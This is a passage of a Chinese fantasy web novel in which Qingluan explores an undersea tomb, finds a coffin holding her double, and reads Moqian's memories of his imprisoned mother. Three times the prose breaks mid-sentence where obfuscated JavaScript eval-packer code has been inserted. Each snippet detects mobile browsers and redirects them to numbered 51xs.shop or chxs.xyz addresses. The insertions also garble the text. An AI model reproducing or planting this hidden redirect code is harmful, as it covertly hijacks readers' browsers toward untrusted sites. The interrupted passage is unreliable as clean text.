“我第一次误入这里时,原本想试试能不能用心火打碎这些墙壁,没想到刚点燃心火就出现了这道阶梯。沿着这道阶梯一直往前走,就能离开这里回到海面。” 千歌一边向青鸾解释,一边抬步走上台阶。 看来心火便是此地的关键,它如同一把钥匙,既能打开来到此处的结界,也能召唤出离开这里的路。 那么是谁建造了这处囚笼呢? 是陌离吗? 能够布下这样的结界,如果真的是他,那他的功力简直深不可测。 况且心火与此地有如此直接的关系,那么陌离也一定能催动心火。 如此一来东海的情况便愈加错综复杂、神秘莫测了。 为何陌离也能催动心火? 为何他曾经要将陌浅囚禁在此处? 千歌说他苛待妻儿,那么他的妻子呢,现在又在何处? 青鸾思索着,满腹疑惑地跟随在千歌身后离开了这里。 无论如何,还是先离开这里再做打算。 千歌在前面领路,一边走一边碎碎念: “也不知道阿浅怎么样了,希望他没有受惊。” “对了,我知道阿浅伤了你的事情,我替他向你道歉。他其实是一个特别温柔的人,他不是故意要伤害你的。” “我也不知道该怎么办了,最近他发病的频率越来越高。每次他发病的时候就跟疯魔了一样,他完全不知道也不记得自己做了什么。” 说着说着,她的声音戛然而止。 脚下的台阶无声地晃动起来,分裂,变幻,重组,就这样在她面前变成了两条路。 “怎……怎么会这样?” 她怔怔地注视着面前的两条路。 “一直都只有一条台阶,顺着它走就可以回到海面,为什么会出现两条路……” 一条是通往海面的路。 那么另一条路又是通向哪里? 77. 浅歌行 两道阶梯就这样悬浮在她们眼前,静静地等待着她们做出选择。 千歌回头望向青鸾,表情有些无措:“我也不知道为什么会这样,以前从来没有过……” “既然心火是打开结界的钥匙,那就让它来做选择吧。”青鸾注视着眼前的阶梯,思索了一会儿燃起心火,闭上眼睛感受着摇曳的火焰给予她的提示。 她再次听到了海底深处某个声音对她的呼唤,它回应着她的心火,如一阵风驱使着心火愈燃愈烈。 半晌,她睁开眼睛望向右侧的路。 千歌顺着她的目光向右边望去:“你感受到了什么?右边是出去的路吗?” 青鸾摇了摇头:“那是一条通往更隐秘囚笼的路。” 没有丝毫犹豫,她抬步向右走去:“我要过去看看。” 现在她很确信,那从一开始就对她的心火做出回应的神秘力量就来自那个方向。 千歌啊了一声,没有想到青鸾就这样绝决地踏上了那条未知的阶梯,她惊慌地左右张望了一下,最后还是咬咬牙跟了上去。 眼前这个状况实在太诡异了,她才不要一个人去走左边的路。 两人就这样一前一后往海底更深处走去。 这条阶梯仿佛没有尽头,不知走了多久,直走到千歌双腿发麻,感觉快要坚持不住的时候,一道雕刻着繁复花纹的铜门终于出现在了她们眼前。 巨大的铜门静静地矗立在幽深的海底,它仿佛从亘古之前就存在于此,漫长的时光却没有在它身上留下任何的痕迹。 在看到它的一瞬间,千歌脑海里莫名浮现起永恒二字。 它矗立在这里,仿佛就是在无言地诠释着永恒。 千歌彻底看呆了:“这是什么地方?” 青鸾也对眼前的景象感到震惊,她平复了一下心绪,强忍着心火的躁动,于指尖燃起火焰,伸出手尝试着抚上铜门的花纹。 火焰在触及到花纹的一瞬间便以极快的速度自行蔓延开来,很快整座铜门都燃起了灼灼火光,于一片刺目的红中,大门轰然而开。 千歌在青鸾身后睁大眼睛,捂住了嘴。 铜门背后是一座巨大的地宫,地宫中整齐地摆放着成百上千具铜棺。 地宫四角似乎是以鲛油燃烧着永恒不灭的长明灯,灯芯摇曳,散发出一股难以形容的香味。 这里沉睡着上千个亡灵,他们长眠于铜棺里,与无人涉足的海底地宫一同归于寂寂。 千歌朝青鸾靠近了一点,贴在她的身边随她一起往前走。 青鸾自然也震撼于这样一座庞大的海底地宫,更震撼于整齐摆放在此处的无数铜棺。 不过她在来到海上仙宫之前曾目睹过九重天宫送往东海的阵亡将士的马车,知晓东海有海葬的习俗,因此大概能够猜到这些铜棺里装着的是什么人。 她垂首细看,发现有的铜棺上果然烙印着九重天宫的印记,有的则烙印着她曾在旧的东海神宫门口见到过的海神印记。 看来此处便是东海神君举行海葬的地方了,海葬过后所有的阵亡将士便被安置于此。 青鸾感受着与心火相互呼应的那股神秘力量,顺着心火的指引穿过那些铜棺,继续向前走去。 铜棺显然已在此地放了许久,棺身上却都不染尘埃,在长明灯的照耀下还散发着隐隐的光泽,透露着庄严神圣的气息。 千歌每经过一个铜棺都要在心里默念一遍对不起,就这样一路道着歉跟随着青鸾走到了地宫尽头。 尽头又是一扇巨大的铜门。 铜门与她们方才看到的那个一般无二,只是门身上那些繁复的花纹似乎有一点区别。 “这些花纹……”青鸾再次于指尖燃起火焰,如方才那般伸出手抚上铜门:“它们似乎是一些文字,是一种我们从未见过的语言,透露着一些未知的信息……” 千歌不是很明白青鸾到底在说什么,她无法与铜门产生感应,也就无法感知到那些花纹跨越亿万年的光阴传达出来的讯息。 心火如之前那般点亮了铜门上原本黯淡的纹路,巨大的门微微颤动了一下,再次轰然而开。 “还往前走啊?”千歌望着门后一片漆黑的空间,顿时有些绝望。 青鸾嗯了一声,抚上自己的心口,继续向前走去。 越往前走,心火的躁动之感便越发强烈,心脏时快时慢地跳动着,似乎在费力承受着心火与那股神秘力量交织而产生的异动。 随着青鸾的进入,原本漆黑的空间骤然变得亮堂。 她指尖燃烧着的火焰在来到这片空间的一瞬间,便被不知从何处吹来的风袭卷着飞到了数丈高,而后在空中逸散,化为了点点星光。 无数白色的小虫在空中扇动着翅膀,它们飞舞着接住了四散的星光,照亮了这座地宫的每一个角落。 是星魂虫。 青鸾曾在瑾瑜的记忆长河中见过。 它们怎会出现在此处? “你快看!这里有两具水晶棺!”千歌扯了扯青鸾的袖子,示意她不要看那些星魂虫了。 这座地宫与方才的那座比起来还要更大一些,地宫中央却只放了两具透明的水晶棺。 其中一具水晶棺是空的,另一具水晶棺里则隐约可见一道人影。 大量的星魂虫围绕着它,将翅膀上的星尘扇落,覆盖在棺上。 因而水晶棺虽是透明的,青鸾她们却也看不太清冰棺中的那道人影。 “你怎么了?还好吗?”千歌注意到身侧的青鸾脸色骤然变得苍白,伸手扶住了她。 心火的异动本身就令青鸾十分不适,她这一路都在强撑着前行,在看到星魂虫与那两具水晶棺之后,她彻底支撑不住了。 眼前的水晶棺正是梦中诛仙台上那具守护着神女的上古神棺,棺身周围萦绕着的磅礴仙气与梦中一般无二,她绝对不会看错。 原来那个预知梦中的上古神棺是帝骁从东海寻来的。 却没有想到如此罕见的神棺东海竟有两个。 她知道那一具空着的水晶棺在不久的未来会属于那个名唤阿媱的神女,可是此刻另一具被星魂虫包围着的水晶棺中又是谁呢? 心火突然熄了一瞬,下一秒重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14220625|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 新燃烧起来,比以往任何时候都更加猛烈。 青鸾疼得直冒冷汗,她皱着眉头捂住心口,却还是踉跄着坚持往前走。 没走几步,剧烈的疼痛便迫使她摇摇晃晃地跪下。 千歌连忙以自己的心火渡她,如同为陌浅治疗时那般,燃起红色的轻烟缓缓包裹住青鸾。 以心火为桥梁,她分担着青鸾的痛苦。 饶是如此,这般剧烈的疼痛仍旧令青鸾站不起来,她咬牙承受着,努力不让自己在这里疼晕过去。 该怎样形容这样的疼痛? 诛仙台上亲自用匕首刺进心脏。 大言合虚神意图徒手剜出心脏。 这是她第三次如此真切地感受到剜心之痛。 过了许久许久,直到她咬破自己嘴唇流下的血染红了千歌不断为她擦拭的手帕,那突如其来的钻心之痛才慢慢退去。 “你一直都有这个隐疾么?”千歌望一眼脸色惨白的青鸾,又望一眼自己手中被血染红的帕子,声音有些颤抖:“我不过是替你分担了两三成的痛苦,都感觉难以承受,你是如何忍到现在的?” 青鸾没有力气回答千歌的问题,她倚靠着千歌的胳膊,闭上眼睛缓了许久,才逐渐恢复了力气。 “忍一忍就过去了。”她抬手擦了一把嘴角已经干涸的血迹,摇晃了几下站起身来,“今日的痛与上一次被人攥住心脏比起来,其实已经好多了。” 说着,她一步一步地朝那具萦绕着星魂虫的水晶棺走去。 被人攥住心脏?千歌想象了一下那个画面,惊恐地啊了一声,然后跟了上去。 星魂虫感应到青鸾的靠近,加快了振动翅膀的速度,似乎是想吓唬一下这个陌生的闯入者。 但在她再次于指尖燃起心火之时,它们纷纷散开,为青鸾让出一条路来。 水晶棺静静地躺在那里,棺里的人闭着眼睛,心脏处有一团模糊的血迹。 在看到那人面庞之后,青鸾扶住棺沿手微微一颤。 一旁的千歌反应比青鸾大多了,她再次露出惊恐的表情:“她、她、她……她怎么跟你长得一摸一样?” 棺中的女子显然已经死去多时,导致她死亡的致命伤就在心脏处,可是在上古神棺的守护之下,她整个人看起来不失鲜活,面色甚至比青鸾还要红润。 这是怎么回事? 棺中的人是谁? 青鸾脑海中已经乱作一团,沉默了许久,她鬼使神差地抬起手,向那女子心脏处释放出一簇心火。 心火在触碰到水晶棺的一瞬间,便如同方才那般散逸为了点点星光,那些星光缓缓渗入棺中,萦绕在了棺中女子的心口。 千歌虽然看不明白青鸾到底在做什么,但她现在压根不敢发问,抬起双手捂住自己的嘴巴,屏息凝神注视着眼前发生的一切。 青鸾停顿了一下,然后闭上眼睛,继续释放心火。 在释放心火的时候,她感受到了那从她涉足东海开始便一直回应着她心火的那个声音。 在闭上双眼的时候,她看到了那个棺中女子生前的记忆。 78. 浅歌行 她看到了一双眼睛。 那双眼睛的主人含着温柔笑意。 眸底仿佛有星河。 星河中有月华流转,还有参商起落。 一段不算悠长的时光便在那片星河中徜徉而过。 心火断断续续地回溯着女子生前的记忆,不待青鸾回想起那令她感到莫名熟悉的温柔笑意来自于谁,眼前的场景骤然发生改变,她在那女子不断流逝的记忆里来到了一处满是风雪之地。 雪色中弥漫着剑意,原来此地是被人以磅礴剑意创造出来的一个小世界。 小世界的主人持剑立于她的面前,正在耐心地为她示范着剑式。 风雪太大,青鸾看不清他的身影,只依稀看得到他似乎着一身绛色衣衫,衣袖拂过她的鼻尖,她甚至闻到了一股好闻的药草清香。 他手中拿着的是一柄极好看的剑,剑身呈半透明状,如同碎掉了的冰雪。 这柄剑会随着周遭环境以及主人心境的变化而在形态上发生改变,是世间唯一一柄以星辰之力淬炼而成的剑。 青鸾注视着那柄剑,脑海中莫名涌入这样一段信息。 这是她第一次见到它,却从心底生出一股熟悉之感。 那个舞剑的人又是谁? 她迈步上前,想要穿过风雪看清他的面庞。 可是下一秒眼前的场景再次发生变化,她不再身处一片冰天雪地之中,而是置身于一个明亮的大殿。 大殿中焚着沁人心脾的熏香,有层层帷幔随风飘舞。 一个威严的女子坐于大殿之上,她的神态是如此庄严,令窥探记忆的青鸾也忍不住感到敬畏。 可那端坐于殿中的女子片刻之后起身走了下来,她一步一步走向青鸾,原本肃穆的神情中泛起一些慈爱的笑意。 她朝青鸾伸出手,似是想要抚摸她的头顶。 青鸾明知这是那棺中女子的记忆,她想要抚摸的是那个女子。 可在她的手掌伸过来时,青鸾还是下意识低下了头。 温暖的抚摸并没有落在她的头顶,心火灭而又燃,眼前的场景又一次发生改变。 这次她置身于一片真正的星河之下,星子的光在夜空中明明灭灭。 仿佛有人用银簪在星海之中划了一道口子,无数的星光倾泻而下,笼罩在那似乎遥不可及却又近在眼前的人身上。 他好像是在收集星光。 青鸾脑海里莫名响起那个说书先生的话。 “为了给他最钟爱的小徒弟准备生辰贺礼,路之遥曾裁剪星光为裳……” 眼前那个在烂漫的星光中飘渺若仙的人是路之遥么? 那么那个棺中的女子是谁? 难道说书先生所言非虚,他口中关于路之遥的传闻并不是传闻? 便在青鸾思索之际,眼前一阵天旋地转,所有的星光都消失不见,她陷入了一片黑暗。 黑暗之中有一柄散发着浓重血腥味的剑透出些许微光,她借着这缕微光看见了帝骁的脸。 帝骁右手持剑站在她的面前,而他的左手已然没入了她的胸膛。 心脏传来一阵令人窒息的刺痛,它奋力地在他手中跳动着,做着无谓的挣扎。 青鸾一时有些恍惚,她感受着那颗被人攥住的心脏传来的熟悉疼痛感,脑海里瞬间闪过许多画面,最后定格在了她被帝骁捆在诛仙台上,自她心口迸发出的火焰点燃了半座九重天宫的那一刻。 她还记得将匕首刺入自己心脏时所发出的如琉璃破碎一般的声响。 午夜梦回时这个声音无数次在她的耳畔响起。 提醒着她已是死过一次的人。 那么如今呢? 是要再死一次,还是她其实一直都没有离开过诛仙台。 这段时间发生的一切只不过是她死前的幻想。 她其实从来没有过第二次机会,也没能逃过那般耻辱的死亡。 不,不会的。 这段时间所走过的路,所见过的人,所发生的一切都是那么的真实,怎么可能只是一场虚幻的梦。 她双手攥拳,指甲深深地嵌入掌心,掌心传来的疼痛与心脏的痛交织在一起,将她抽离了棺中女子的视角。 她得以旁观那女子已逝的记忆,不再与她感同身受。 原来那女子心口处的致命伤竟是帝骁造成的,他曾经试图剜走她的心脏,只是不知后来发生了什么,那女子因此死亡,而帝骁也没有得到他想要的东西。 青鸾睁开眼睛,掌心流出的血染红了她所抚摸的冰棺一角。 倘若那时帝骁就成功了,他便不会再来寻她,企图用她的心脏复活阿媱。 垂首再次望了一眼棺中的女子,她长长地叹了一口气。 旁边的千歌已然吓得不轻,她方才见青鸾莫名其妙弄伤自己的手,任她怎么呼唤也没有反应,还以为她是被鬼上身了。 “我们快点出去吧。”她摇了摇青鸾的胳膊。 这里分明就是一座巨大的陵寝,不知装了多少已经逝去的人。 她们已经在此处耽误了许久,她还想赶回去看看陌浅的情况。 “再往前走应该就是出口了。”青鸾没有管自己受伤的手,将目光从那女子身上移开,转而望向前方的台阶,再次燃起心火。 如之前两次那般,烙印着神秘图纹的铜门再次出现在了二人眼前。 青鸾熟练地将手抚了上去。 不过这次蔓延在铜门花纹之上的除了她指尖燃起的心火,还有自她掌心滴落的血。 过了好一会儿,铜门仍旧静静地矗立在原地,丝毫没有开启的意思。 青鸾皱了皱眉,观察着门上心火蔓延经过的图腾纹路。 但见那些纹路缓缓移动起来,重新排列组合,释放出新的讯息。 可惜青鸾与千歌并不识得这些神秘古老的文字,只能眼睁睁看着它们不断变化而不知其意。 如此又过了许久,那些纹路终于不再变化,而是静默了一阵,然后散发出强烈的红光。 在红色光芒的催动下,铜门上的花纹仿佛有了生命,它们好似一些不知名的生物在门上蠕动着,吞噬着青鸾掺杂在火焰当中的鲜血。 青鸾掌心流出的血似乎成为了它们的食物。 亦或是祭品。 “你听到了吗?” 青鸾蹙眉问身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14249983|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侧的千歌。 千歌不停地摇着脑袋。 听到了什么? 她什么都没听到呀! 随着铜门不断吞噬着青鸾的鲜血,她逐渐听到一些跨越亿万年尘封时光而来的声音。 似是古神低语,又像是一个疯子濒临死亡时疯狂的呓语。 令青鸾感到不解的是,她居然从这样一段毫无逻辑的癫狂呓语中听出来了一些信息。 那声音好像是在求救。 是谁在求救? 下一秒铜门便给出了答案。 它似乎是吸饱了血,终于抹去了门身上散发出的那道红光,轰的一声打开。 血腥味扑面而来。 千歌捂住鼻子,跟随着青鸾往里面走去。 庆幸的是这次映入眼帘的终于不再是棺椁。 不幸的是这次她们所看见的是一个还活着的未知生物。 在察觉到有人闯入此地的时候,那不知名生物便往屋中墙角缩去,只露出一截巨蟒般的尾巴。 那尾巴上有着和巨蟒相似的花纹,却因为通体呈现蓝色以及散发着海洋生物特有的腥气而变得十分诡异。 “这是什么啊?”千歌这次是真的感到绝望了。 她现在甚至十分怀疑她们还能不能活着从这个奇怪的地方出去。 好在那生物被巨大的铁链束缚着,只能蜷缩在黑暗的角落里挥舞着它那光滑的尾巴,如蛇一般发出威胁的嘶嘶声。 这次青鸾没有逗留,她甩出一簇心火再次于黑暗中召出一道铜门,在那生物的尾巴即将扫到二人身上之时,拉着千歌的手穿过铜门离开了这个地方。 铜门在她们身后缓缓掩上,将那生物嘶哑的声音一并吞没在了黑暗里。 青鸾抬起头,所看见的却是耀眼的阳光。 她们在那神秘的地宫中待了整整一夜,出来时天已经亮了。 千歌施法将自己烘干,撂下一句她要去看陌浅便飞身离去。 青鸾在原地犹豫了一下,感受到脸颊伤口被海水浸泡后传来的刺痛,打算去找路之遥。 正准备动身,却看见已经离开的千歌去而复返。 “那个……”她咬了咬嘴唇,试探着问青鸾:“你能不能同我一起去找陌浅啊,他最近的状态都很差,我的心火也渐渐压制不住他。方才在地宫之中我便感受到了,你的心火比我强大很多,所以我想请你帮帮我,用心火缓解一下陌浅的癔症。” 说到这里她又连忙道:“我就是来问问你行不行的,我知道阿浅之前发病的时候伤到了你,你不答应也没关系……” 出乎她的意料,青鸾居然一口答应下来:“没事,我随你过去看看。” 千歌愣了一下,随即激动地凑过来,亲昵地搂住青鸾:“那太好了,谢谢你不计前嫌,等阿浅病好,我一定让他好好向你道歉!” 顿了一下,她握住青鸾的手背,望着她掌心的伤痕道:“不过你还是先去疗伤吧,虽然已经没有流血了,但是这些伤都好深,你一定很疼吧?” 青鸾笑着摇了摇头,示意千歌带路:“并没有很疼,这点伤不算什么,事不宜迟,你现在就带我去见陌浅吧。” 79. 浅歌行 青鸾之所以这么爽快地答应千歌,除了因为与千歌同闯地宫的交情,更因为她意识到东海神君刻意隐瞒的那些事情,一定也与陌浅有着很深的关联。 催动心火替他压制癔症,在这个过程中以精神力窥探他脑海中的记忆,不失为她探知东海秘事的一个方法。 青鸾与千歌抵达陌浅住处的时候,他还在沉睡中没有醒来。 见到安安静静躺在榻上的陌浅,千歌先是松了一口气,随即又皱着眉头把心悬了起来。 “他最近总是这样,一睡便是好几日都不醒来,醒来之后便会发病,症状比从前更严重。” 千歌行至榻前,弯腰抚上陌浅的脸。 她很担心他,可她救不了他。 “东海神君不是一直都在救治陌浅吗?”青鸾也上前两步,垂首注视着陌浅苍白得没有一丝血色的脸:“甚至他还给海上仙宫布下了禁制,专门闭关为陌浅治疗,竟也没有用么?” 千歌听她提到东海神君,又一次露出愤懑的表情:“虽然不知道陌离为什么给这里布下禁制,但我知道他肯定不是为了阿浅,甚至我怀疑阿浅如今变成这样就是被他害的!” 青鸾听到这里心头一动,面上却不露声色,状似随意地问道:“你为什么这样怀疑?陌浅不是他的亲生儿子么,不至于这样害他吧?” “正因为阿浅是他的儿子,所以我才这么生气。”千歌如今已经完全信任青鸾,将她所知道的一切都和盘托出:“阿浅跟我说过,他从小和他的娘亲一起被关在海底牢中,就是我们昨晚去到的那个地方,那些生了锈的锁链以前就是用来锁他和他的娘亲的。” 说到这里,她的声音都有些颤抖。 “后来他被陌离接到了宫中,他的娘亲却依然被困在那个牢里。可是我在无意中用心火开启结界进入那个牢里时,却发现那里空荡荡的,他的母亲已经不在了。” “自那之后阿浅便偶尔精神恍惚,他时常与陌离发生争吵,每次争执过后陌离便会把他关起来,好几个月都不让他出门。” 千歌越说越愤怒。 “阿浅一直想知道他母亲的下落,可他无法离开这里,既不知道当初陌离为何要将他们母子关在海底,也不知道如今他又为何将他放了出来,更不知道他的母亲此刻正在何处。” “许是这个打击对他来说太过沉重,他后来时常做梦,总梦见有人要杀他。” “起初他还只是在梦里这么觉得,可是后来他开始出现癔症,即便在现实当中也总觉得有人想要暗害他。从此他的精神便时好时坏,他好像变了一个人,成天生活在恐惧当中。” “至于陌离所谓的闭关救治……” 千歌已有些咬牙切齿。 “我不相信他会突然对阿浅变了态度,更不相信他愿意亲自为阿浅治疗。” “每一次施法为阿浅治疗过后,阿浅便会像现在这样陷入沉睡,醒来时便更加疯魔。所以陌离闭关根本不是在救治阿浅,他根本就是要害阿浅变成一个真正的疯子!” 千歌对陌离的这一番控诉倒是令青鸾知晓了不少内情。 看来这对父子的关系并没有那么简单,隐藏在东海的秘密比她想的更加错综复杂。 “你平时是如何用心火为他压制癔症的?”青鸾催动心火靠近躺在床上的陌浅:“癔症之人发病时大多神思紊乱,你是用心火帮他压制住躁动,再替他稳住错乱的记忆么?” 千歌连连点头:“是的是的,你的心火更为强势,效果一定更好。虽然做不到彻底根治他的癔症,但至少能让他神思清明一段时日。” “好,那我试试。” 青鸾不再多言,抬起右手点燃心火,两指并拢抚在陌浅额间。 千歌则在一旁为她护法。 心火作为桥梁连接着青鸾与陌浅二人。 便如方才在地宫中千歌为青鸾分担痛苦那般,此刻青鸾也以心火作桥分担着陌浅的痛苦。 与此同时两人的精神力相互交织,青鸾闭上眼睛,在稳住陌浅紊乱神思的同时,释放出自己的精神游丝,缓缓游曳进了他的精神世界。 精神游丝掠过了陌浅脑海中那些残损的记忆碎片,直奔他内心最深处的潜意识而去。 所有人最隐秘最不堪的过往都储藏在潜意识的黑洞中,无一例外。 青鸾果然在那里看到了她想看到的一段隐秘往事。 在陌浅的意识深处,尘封着他幼时最黑暗的记忆。 海底牢狱中,巨大的锁链捆绑着母亲的四肢,而他瑟缩在她的身旁,一次又一次地为她抹去嘴角的鲜血。 她正在生产。 生产带来的疼痛让她咬破了自己的舌头和嘴唇,她浑身都是血,独自在锁链的束缚中诞下了一个孩子。 那个孩子是谁? 借助精神游丝遥望着这一段不堪记忆的青鸾忍不住眯了眯眼。 陌浅竟还有一个在海底牢狱中出生的弟弟。 这令青鸾感到一阵恶寒。 显然那个被锁链束缚了四肢的女子就是陌离消失已久的妻子,也不知她是在怀有身孕的时候被他关进了这座牢狱,还是在被关进牢狱之后才被迫怀孕产子。 无论哪一种可能都令人作呕。 青鸾皱着眉头继续控制着精神游丝。 陌浅患有癔症,因而他所有的记忆都是混乱的,包括被他深藏在潜意识中的这一段回忆。 好在青鸾的精神力足够强大,足以支持那些分散出来的精神游丝按照正确的时间线找到残缺的下一段记忆。 她看到陌浅与他的弟弟就这样在海底牢狱中长大。 他们的母亲始终都很虚弱,她似乎是被施加了什么咒术,亦或是被什么神器所困,导致她无法催动自己的力量。 青鸾感受到了自她身上散发出来的后神气息。 这个女子很强大,若仅仅只有那些捆绑在她身上的锁链,这座牢狱根本困不住她。 她被一股更为强大的神秘力量压制住了。 可是即便如此,她似乎也没有放弃自救,每天都会咬破自己的手指,以指尖血在地上涂写着一些歪歪扭扭的痕迹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14267223|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 地上的血迹会在她停止涂写之时变为透明,因而无人发现她正在日复一日地布置着一座庞大的法阵。 青鸾之所以看得出来她是在布阵,乃因帝宣便是九重天上最擅长布阵的高手。 这世上的法阵有许多,有的大有的小,有的可以杀人,而有的可以救人。 从前她总会在一旁看着帝宣布阵。 他的指尖流淌着细碎的光芒,那些星星点点的光芒在他的指挥下排列组合,以极快的速度变幻着,在阵法完成的那一瞬原本微弱的光芒会燃烧成燎原之火。 帝宣最为擅长的是守护之阵。 法阵之中火焰所过之处一片生机盎然,他的法阵拥有唤醒万物生机的能力。 幼时的青鸾时常有心口疼的毛病,帝骁曾说那是因为她心脏的力量太过强大,幼小的她承受不住才会如此。 那时青鸾便喜欢往帝宣的法阵中跑。 法阵中的生机似乎能够缓解她心脏处的不适,小小的她蜷缩在巨大的法阵里,觉得温暖又安全。 “你为什么不像帝骁一样修炼剑道呢?”她曾经问过帝宣:“法阵之术很好,可是布阵需要时间,若真到了战场上,总需要依赖别人为你掩护。并且这些法阵看起来也没有剑术那般凌厉。” 她看过帝骁练剑,所以才会问出这个问题。 帝骁的剑术便是出了名的凌厉,他仿佛不会折中之道,每一剑都抱着当即斩杀对方的决心。 狠戾,绝决,令人望而生畏的剑道。 帝骁曾经讲过,只有这样的剑术才能守护住他想要守护的东西。 可是那天帝宣给出了一个不一样的答案。 “你此刻所在的是生灭之阵,此时吾心所向为生,它便是一道生之阵,能够为阵法中的众生带来生机。但若我变了心中所想,它便会成为死阵,剥夺阵法中所有活物的生命。” “旁人以为我只擅长守护之阵,其实是对阵法的一种误解。阵法的意义到底在于杀戮还是守护,全在于布阵之人那一刻的心之所想。” 帝宣温声细语地将这一番话娓娓道来,却吓得青鸾立马从阵法中飞奔出来,逃到帝宣身旁一把抓住他的袖子,眨巴着眼睛后怕地注视着他。 帝宣被她这副模样逗笑了:“但我的心之所想从来都是守护,固然有时杀戮也是为了守护,但那只是一种不得已的手段而已。因此我所布下的阵从来都是守护之阵,鸾儿,若有朝一日我也为了守护而不得不布下杀戮之阵,希望你能在我身边,提醒我不要忘了自己的初衷。” “杀戮有时会令人上瘾,令人忘记自己的初衷其实是为了守护。” 青鸾轻轻地吸了一口气。 眼前那个女子以指尖血涂抹的阵法逐渐成形,与她记忆中曾经见到帝宣布下过的阵法重叠在一起。 那是一个以自己的血肉灵魂为祭才能完成的转移阵法。 看到这里青鸾不难猜出女子的用意。 她想要利用这个庞大的转移阵法,将她的孩子从不见天日的海底牢狱中救出去。 80. 浅歌行 可惜被神秘力量压制着的女子虚弱已极,即便是以灵魂为祭,这个法阵的力量也只能转移一人出去。 而她有两个孩子。 虽然精神游丝所显现出的画面里那女子尚未做出选择,但此时的青鸾已经知晓,那个被留下来的孩子便是患了癔症的陌浅。 他的母亲选择了他的弟弟。 “我所出生的地方是一个长久无人涉足之地,它的名字叫做合虚,那是太阳月亮升起的地方,是远古之神的居所。成渊,你便去那里吧。” 牢狱中的母亲将她的第二个孩子送进了法阵之中,喃喃地嘱咐着他。 “离开这里之后,在合虚好好生活,永远不要再回东海,更不要试图来这里找我。” 彼时的成渊尚且不是如今叱咤风云的大言合虚神,他只是一个懵懂的孩子,有些惶惑地注视着法阵之外的母亲和哥哥,在反应过来母亲是要将他送走之后,跌跌撞撞地奔过来想要离开法阵:“母亲,我不想走,我不想离开您……” 可是法阵启动得太快,吞没了他的呐喊,转瞬之间便将他送到了万里之外的合虚。 女子捂住嘴巴注视着法阵消散了最后一抹光芒,在确认她的孩子已经被送往了安全的地方后,她才转过身望向她的另一个孩子。 她的动作有些迟疑,带着隐隐的愧疚。 陌浅没有出声,他甚至没有落泪,只是站在原地平静地接受了这个现实。 她抱住了他,终于痛哭出声:“对不起,对不起……法阵只能转移一个人,成渊是你的弟弟,便让弟弟去吧。我们总还有办法,总还有办法的……” “母亲,我愿意留下来。”小小的陌浅抬起手回抱住自己的母亲,笨拙地安慰着她:“等母亲画出第二个阵法,我们就都能离开了,是不是?” 女子顿了顿,哭泣着点了点头。 但其实他们都知道,一旦被人发现成渊不见,他们便永远不能离开这里了。 陌离很快便得知成渊被女子利用法阵送走,他怒不可遏地来到了海底牢狱。 “我原本顾念你们的母子之情,想让你们三人待在一处,可你居然做出这种事情。”他不由分说朝那女子发出一击,掌风打在女子的腹部,直打得她吐血不止。 然后他一把将陌浅从女子的怀中抢过来:“你为什么总是这样,为什么总是要违逆我?” 那女子对陌离所说的一切恍若未闻,她疯狂挣脱着锁链的束缚,只一味地想要将陌浅从他那里夺回来。 “原本你可以同我在东海长相厮守,可以和我一起完成那个伟大的计划,可是你非要三番五次地忤逆我……事到如今你还不明白么?是你害了你自己的孩子!” “你们原本就算是死也能死在一起的,可你居然还是这么不识好歹,那也别怪我让你们分开了。你去吧,去地宫吧,那里就是你的归宿了!” 陌离彼时的样子比犯了癔症的陌浅还要癫狂,他面目狰狞地注视着疯狂摆动身体想要挣脱束缚的女子,一边流着眼泪,一边仰头大笑。 那女子发出绝望的嘶吼,在骇人的嘶吼声中,她的双腿化为了蛇尾,双臂覆满了鳞片,额头也长出血淋淋的角来。 她变成了一个世人从未见过的怪物。 注视着这一幕的青鸾再次倒吸了一口凉气。 倒不是因为那女子此刻凶残骇人的模样让她心惊,而是因为那巨大的蛇尾令她感到眼熟。 不正是昨晚她与千歌在地宫中见到的那一条? 却是没有想到,那个被困在地宫深处的不知名生物竟然就是陌浅的母亲。 她之所以会变成那个样子,多半是因为在绝望当中觉醒了她的后神血统。 青鸾记得帝宣曾经同她讲过,现今留存于世的后神之所以逐渐式微,很大一部分原因是他们根本就没有觉醒自己的后神血脉。 那些伟大的远古之神们本就不是当今人族的模样,譬如大名鼎鼎的女娲娘娘便是人首蛇身。一旦后神觉醒了血脉,便极有可能会化为他们先祖的模样。 陌离想必也是知道这一层的,只是他没有想到眼前的女子会在这个时候觉醒血脉。 觉醒了的后神,无论如何他都不会是她的对手。 那女子忍受着蜕变带来的剧痛,愤怒地紧盯着陌离,浑身的鳞片都在嘶吼中竖起。 她没有立即进攻,而是抬手伸向自己的胸膛,活生生将手嵌了进去,拔出了一根半透明的肋骨。 